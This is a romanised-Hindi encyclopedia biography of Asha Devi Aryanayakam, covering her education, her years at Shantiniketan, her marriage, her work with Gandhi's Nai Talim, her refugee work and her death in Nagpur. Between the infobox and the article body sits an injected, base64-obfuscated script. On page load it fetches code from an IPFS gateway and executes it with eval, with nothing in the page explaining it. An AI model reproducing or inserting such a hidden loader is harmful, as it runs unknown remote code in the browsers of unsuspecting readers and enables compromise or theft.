आशा देवी आर्यनायकम
asha devi aryanayakam
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| poora nam | asha devi aryanayakam |
| janm | 1 janavari, 1901 |
| janm bhoomi | lahaur |
| mrityu | 30 joon, 1970 |
| mrityu sthan | nagapur |
| abhibhavak | pita- phani bhooshan adhikari mata- sarajoobala devi |
| pati/patni | ee. aryanayakam |
| karm bhoomi | bharat |
| karm-kshetr | samajaseva |
| nagarikata | bharatiy |
| any janakari | asha devi aryanayakam 'shaantiniketan ke staph mean shamil ho gee thian. vah bahut lokapriy ho gee thian aur har koee unhean 'didi' kahata tha. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>asha devi aryanayakam (aangrezi: Asha Devi Aryanayakam, janm- 1 janavari, 1901, lahaur; mrityu- 30 joon, 1970 ko nagapur) ek samarpit mahila thian jinhoanne anabhijnata ko door karane aur jnan, prem aur vishvas se bhari duniya banane ki koshish ki. vah ek shikshavidh thian jo hamesha naye aur naye tarikoan ki talash mean rahati thian jo unake chhatroan ke man mean ruchi paida kare. vah mahatma gaandhi ki nee talim ya buniyadi shiksha ya sikhane ki karyapranali se akarshit thian. vah apane chhatroan se pyar karati thian aur ve unhean 'maan' kahate the. varsh 1954 mean bharat sarakar ne unhean 'padm shri' se sammanit kiya tha.
parichay
asha devi ka janm 1 janavari, 1901 ko lahaur mean hua tha. unake pita phani bhooshan adhikari aur mata sarajoobala devi donoan shikshavid aur dharmanishth, dharmik log the, jo bhakti panth ko manate the. unake pita dilli mean prophesar the. unhoanne apana bachapan lahaur aur phir bad mean banaras mean bitaya. banaras mean achchhe shaikshik avasar the. lekin koee bangali madhyam skool nahian tha. unaki maan ne unhean bangali ke sath-sath sangit bhi sikhaya. maitrik mean saphal ummidavaroan ki soochi mean vah shirsh par rahian. akhabar ke patrakar unaki tasvir aur vivaran lene ke lie dau date hue ae. lekin unake pita ko pablisiti pasand nahian thi. unhoanne unhean yah kahate hue vapas bhej diya ki “pratyek chhatr ka kartavy hai ki vah adhyayan kare. uchch aank ko jivan mean ek b di upalabdhi nahian mana jana chahie. prachar se yah sanbhav hai ki vah chhatr apane kartavy ko bhool jae.” unaki k aaulej ki padhaee bhi ghar par hi huee thi.
adhyapan kary
unake lie ek sangit shikshak karyarat tha. usake dauran bi.e. pariksha. ashadevi ko ek aankh mean pareshani thi. d aauktaroan ne sujhav diya ki unhean apani aankhoan ko aram dena chahie anyatha vah aandhi ho sakata hai. vah duvidha mean thian. aant mean unaki maan ne isaka hal dhooandh liya. unhoanne apani beti ko path padhaya. vah pharst divijan mean pas hueean. sarakar ne unhean ianglaiand mean uchch adhyayan ke lie jane ke lie chhatravritti ki peshakash ki. vah sirph solah sal ki thian aur mata-pita unhean ab tak bhejana pasand nahian karate the. unhoanne em.e. pas kiya, banaras mean bhi pharst divijan mean, banaras mean vimeans k aaulej mean lekcharar ban geean.
lokapriyata tatha vivah
asha devi aryanayakam ka parivar raviandranath taigor ke karib tha aur shaantiniketan unake lie unake ghar jaisa tha. unhean uttarayan ke pas ek ghar diya gaya jahaan taigor rahate the. taigor ko yoorop jana tha aur unhoanne apani anupasthiti mean asha devi ko shaantiniketan mean l dakiyoan ki jimmedari sauanpi. isalie vah shaantiniketan staph mean shamil ho geean. ashadevi shaantiniketan mean bahut lokapriy ho gee thian aur har koee unhean 'didi' kahata tha. yoorop mean, taigor ee. aryanayakam (asha devi ke bhavi pati) se mile, jo silon ke the. taigor ne unaki pratibha ko pahachana aur unhean shaantiniketan ane ke lie amantrit kiya. vah taigor ke niji sachiv ban ge aur shaantiniketan mean any sabhi gatividhiyoan mean bhi bhag liya. taigor ashadevi aur aryanayakam ki shadi ke lie jimmedar the.
nee talim ke adhar
shaantiniketan ke shaant vatavaran mean ashadevi ne gaandhiji ki pukar suni. vah samajhati thian ki shaantiniketan mean gariboan ke bachchoan ke lie koee jagah nahian thi. isalie vah aur unake pati shantiniketan chho dakar vardha chale ge, jahaan unhoanne pahale marava di vidyalay mean kam kiya aur phir bapoo se ju de aur nee talim ke mukhy adhar ban ge. nee talim ki karyapranali mean, shiksha chhatroan ke lie bojh nahian banati hai aur parikshaoan ke lie khodane ki avashyakata nahian hai. is yojana mean, atyadhik buddhiman aur manasik roop se mand sabhi aandar phit ho sakate the.
mrityu
bapoo ki mrityu ke bad asha devi aryanayakam pharidabad chali geean aur unhoanne pharidabad mean sharanarthiyoan ki dekhabhal ki. bachchoan ke lie skool shuroo kie. vinoba ji ke 'bhoodan aandolan' ne unhean prerit kiya. unake pati ki silon mean apane gaanv vapas jane ki tivr lalasa thi. vahaan unhean dil ka daura p da aur 20 joon, 1968 ko unaka nidhan ho gaya. unaki mrityu ke bad asha devi aryanayakam sevagram mean rahian. ashadevi ne apani ek aankh ko aauptik shosh ke karan kho diya. unhean nagapur le jaya gaya, jahaan unhean pheph de ka kaiansar hone ka pata chala. 30 joon, 1970 ko nagapur mean unaka nidhan ho gaya.
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tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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